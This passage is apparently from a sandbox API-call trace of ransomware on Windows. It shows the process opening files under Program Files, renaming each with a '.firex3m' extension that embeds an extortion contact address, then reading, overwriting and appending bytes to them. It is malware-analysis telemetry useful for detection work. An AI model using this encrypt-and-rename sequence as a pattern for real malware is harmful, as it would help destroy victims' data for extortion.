lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x537ff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.436] CloseHandle (hObject=0x4bc) returned 1 [0235.436] GetProcessHeap () returned 0x630000 [0235.436] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dc2a8 | out: hHeap=0x630000) returned 1 [0235.436] GetProcessHeap () returned 0x630000 [0235.436] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dbef8 | out: hHeap=0x630000) returned 1 [0235.436] GetProcessHeap () returned 0x630000 [0235.436] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317db0 | out: hHeap=0x630000) returned 1 [0235.436] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.436] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\es-AR\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fcc4 | out: lpFindFileData=0x537fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e4a167a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e4a167a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x52487426, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1e2, dwReserved0=0x537fd20, dwReserved1=0x6dbef8, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d51c0 [0235.436] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0235.436] Sleep (dwMilliseconds=0x1) [0235.534] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\toastbeginupgrade.xml", len=0x7a | out: pbstr=0x537ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\toastbeginupgrade.xml") returned 1 [0235.534] GetProcessHeap () returned 0x630000 [0235.534] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5034) returned 0x6fe3bb0 [0235.534] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-us\\toastbeginupgrade.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0235.535] CloseHandle (hObject=0x4e8) returned 1 [0235.535] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.535] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\toastbeginupgrade.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-us\\toastbeginupgrade.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-us\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.624] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.624] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fc6c | out: lpFindFileData=0x537fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6ff37000, ftLastWriteTime.dwHighDateTime=0x1d29856, nFileSizeHigh=0x0, nFileSizeLow=0x22a, dwReserved0=0x2d0064, dwReserved1=0x390031, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d51c0 [0235.656] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0235.675] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\en-us\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x430 [0235.681] GetProcessHeap () returned 0x630000 [0235.681] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x665a50 [0235.681] GetProcessHeap () returned 0x630000 [0235.681] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x241) returned 0x665cb8 [0235.681] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.681] ReadFile (in: hFile=0x430, lpBuffer=0x665a50, nNumberOfBytesToRead=0x220, lpNumberOfBytesRead=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x665a50*, lpNumberOfBytesRead=0x537ff0c*=0x220, lpOverlapped=0x0) returned 1 [0235.695] GetProcessHeap () returned 0x630000 [0235.695] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73173d8 [0235.695] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.695] WriteFile (in: hFile=0x430, lpBuffer=0x665cb8*, nNumberOfBytesToWrite=0x220, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x665cb8*, lpNumberOfBytesWritten=0x537ff0c*=0x220, lpOverlapped=0x0) returned 1 [0235.695] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.695] WriteFile (in: hFile=0x430, lpBuffer=0x665ed7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x665ed7*, lpNumberOfBytesWritten=0x537ff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.695] SetFilePointerEx (in: hFile=0x430, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.695] WriteFile (in: hFile=0x430, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x537ff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.695] CloseHandle (hObject=0x430) returned 1 [0235.695] GetProcessHeap () returned 0x630000 [0235.695] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665cb8 | out: hHeap=0x630000) returned 1 [0235.695] GetProcessHeap () returned 0x630000 [0235.695] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x665a50 | out: hHeap=0x630000) returned 1 [0235.695] GetProcessHeap () returned 0x630000 [0235.695] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73173d8 | out: hHeap=0x630000) returned 1 [0235.695] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.696] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-US\\toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fcc4 | out: lpFindFileData=0x537fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e47b424, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e47b424, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x526e96f3, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x24e, dwReserved0=0x537fd20, dwReserved1=0x665a50, cFileName="toastbeginupgrade.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTB~2.FIR")) returned 0x6d5480 [0235.696] FindClose (in: hFindFile=0x6d5480 | out: hFindFile=0x6d5480) returned 1 [0235.696] Sleep (dwMilliseconds=0x1) [0235.732] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\equalizer.gif", len=0x61 | out: pbstr=0x537ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\equalizer.gif") returned 1 [0235.732] GetProcessHeap () returned 0x630000 [0235.732] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4fc4) returned 0x6fe3bb0 [0235.732] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\App\\equalizer.gif" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\app\\equalizer.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0235.754] Sleep (dwMilliseconds=0x1) [0235.904] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x537ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\toastreviewsettings.xml") returned 1 [0235.904] GetProcessHeap () returned 0x630000 [0235.904] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f88) returned 0x6fe3bb0 [0235.904] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0235.904] CloseHandle (hObject=0x66c) returned 1 [0235.905] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0235.905] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0235.905] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.906] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fc6c | out: lpFindFileData=0x537fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1be, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d5280 [0235.906] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0235.906] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ca-es\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x66c [0235.906] GetProcessHeap () returned 0x630000 [0235.906] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x6dc2a8 [0235.906] GetProcessHeap () returned 0x630000 [0235.906] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1c1) returned 0x6dc480 [0235.906] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.906] ReadFile (in: hFile=0x66c, lpBuffer=0x6dc2a8, nNumberOfBytesToRead=0x1a0, lpNumberOfBytesRead=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc2a8*, lpNumberOfBytesRead=0x537ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0235.909] GetProcessHeap () returned 0x630000 [0235.909] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x73180f8 [0235.909] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.909] WriteFile (in: hFile=0x66c, lpBuffer=0x6dc480*, nNumberOfBytesToWrite=0x1a0, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc480*, lpNumberOfBytesWritten=0x537ff0c*=0x1a0, lpOverlapped=0x0) returned 1 [0235.909] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.909] WriteFile (in: hFile=0x66c, lpBuffer=0x6dc61f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6dc61f*, lpNumberOfBytesWritten=0x537ff0c*=0x20, lpOverlapped=0x0) returned 1 [0235.909] SetFilePointerEx (in: hFile=0x66c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0235.909] WriteFile (in: hFile=0x66c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x537ff0c*=0x4, lpOverlapped=0x0) returned 1 [0235.979] CloseHandle (hObject=0x66c) returned 1 [0235.979] GetProcessHeap () returned 0x630000 [0235.979] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dc480 | out: hHeap=0x630000) returned 1 [0235.979] GetProcessHeap () returned 0x630000 [0235.979] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6dc2a8 | out: hHeap=0x630000) returned 1 [0235.979] GetProcessHeap () returned 0x630000 [0235.979] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73180f8 | out: hHeap=0x630000) returned 1 [0235.979] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0235.979] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ca-ES\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fcc4 | out: lpFindFileData=0x537fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e34a1b4, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e34a1b4, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x52998216, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1e2, dwReserved0=0x537fd20, dwReserved1=0x6dc2a8, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d51c0 [0235.979] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0235.980] Sleep (dwMilliseconds=0x1) [0236.061] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\toastreviewsettings.xml", len=0x7c | out: pbstr=0x537ff7c*="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\toastreviewsettings.xml") returned 1 [0236.061] GetProcessHeap () returned 0x630000 [0236.061] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f68) returned 0x6fe3bb0 [0236.061] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ar-sa\\toastreviewsettings.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0236.062] CloseHandle (hObject=0x6a4) returned 1 [0236.062] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0236.062] MoveFileW (lpExistingFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\toastreviewsettings.xml" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ar-sa\\toastreviewsettings.xml"), lpNewFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ar-sa\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0236.063] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.064] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fc6c | out: lpFindFileData=0x537fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e32400a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1d6, dwReserved0=0x69002e, dwReserved1=0x2d0064, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d51c0 [0236.064] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0236.064] CreateFileW (lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\unp\\campaignmanager\\campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\content1\\ar-sa\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6a4 [0236.064] GetProcessHeap () returned 0x630000 [0236.064] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e1) returned 0x723ab0 [0236.064] GetProcessHeap () returned 0x630000 [0236.064] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x1e1) returned 0x7234c8 [0236.064] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.064] ReadFile (in: hFile=0x6a4, lpBuffer=0x723ab0, nNumberOfBytesToRead=0x1c0, lpNumberOfBytesRead=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x723ab0*, lpNumberOfBytesRead=0x537ff0c*=0x1c0, lpOverlapped=0x0) returned 1 [0236.067] GetProcessHeap () returned 0x630000 [0236.067] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318d00 [0236.067] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.067] WriteFile (in: hFile=0x6a4, lpBuffer=0x7234c8*, nNumberOfBytesToWrite=0x1c0, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7234c8*, lpNumberOfBytesWritten=0x537ff0c*=0x1c0, lpOverlapped=0x0) returned 1 [0236.067] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.067] WriteFile (in: hFile=0x6a4, lpBuffer=0x723687*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x723687*, lpNumberOfBytesWritten=0x537ff0c*=0x20, lpOverlapped=0x0) returned 1 [0236.127] SetFilePointerEx (in: hFile=0x6a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0236.128] WriteFile (in: hFile=0x6a4, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x537ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x537ff0c*=0x4, lpOverlapped=0x0) returned 1 [0236.128] CloseHandle (hObject=0x6a4) returned 1 [0236.128] GetProcessHeap () returned 0x630000 [0236.128] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7234c8 | out: hHeap=0x630000) returned 1 [0236.128] GetProcessHeap () returned 0x630000 [0236.128] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x723ab0 | out: hHeap=0x630000) returned 1 [0236.128] GetProcessHeap () returned 0x630000 [0236.128] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318d00 | out: hHeap=0x630000) returned 1 [0236.128] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x537ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0236.128] FindFirstFileW (in: lpFileName="C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\ar-sa\\toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x537fcc4 | out: lpFindFileData=0x537fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e32400a, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e32400a, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x52b15bb3, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x1fa, dwReserved0=0x537fd20, dwReserved1=0x723ab0, cFileName="toastreviewsettings.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="TOASTR~1.FIR")) returned 0x6d51c0 [0236.128] FindClose (in: hFindFile=0x6d51c0 | out: hFindFile=0x6d51c0) returned 1 [0236.129] Sleep (dwMilliseconds=0x1) [0236.203] SysReAllocStringLen (in: pbstr=0x537ff7c*=0x0, psz="C:\\Program Files\\rempl\\Logs\\Remediation.002.etl", len=0x2f | out: pbstr=0x537ff7c*="C:\\Program Files\\rempl\\Logs\\Remediation.002.etl") returned 1 [0236.203] GetProcessHeap () returned 0x630000 [0236.203] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4f3c) returned 0x6fe3bb0 [0236.203] CreateFileW (lpFileName="C:\\Program Files\\rempl\\Logs\\Remediation.002.etl" (normalized: "c:\\program files\\rempl\\logs\\remediation.002.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e4 [0236.214] CloseHandle (hObject=0x5e4) returned 1 [0236.214] MultiByteToWideChar 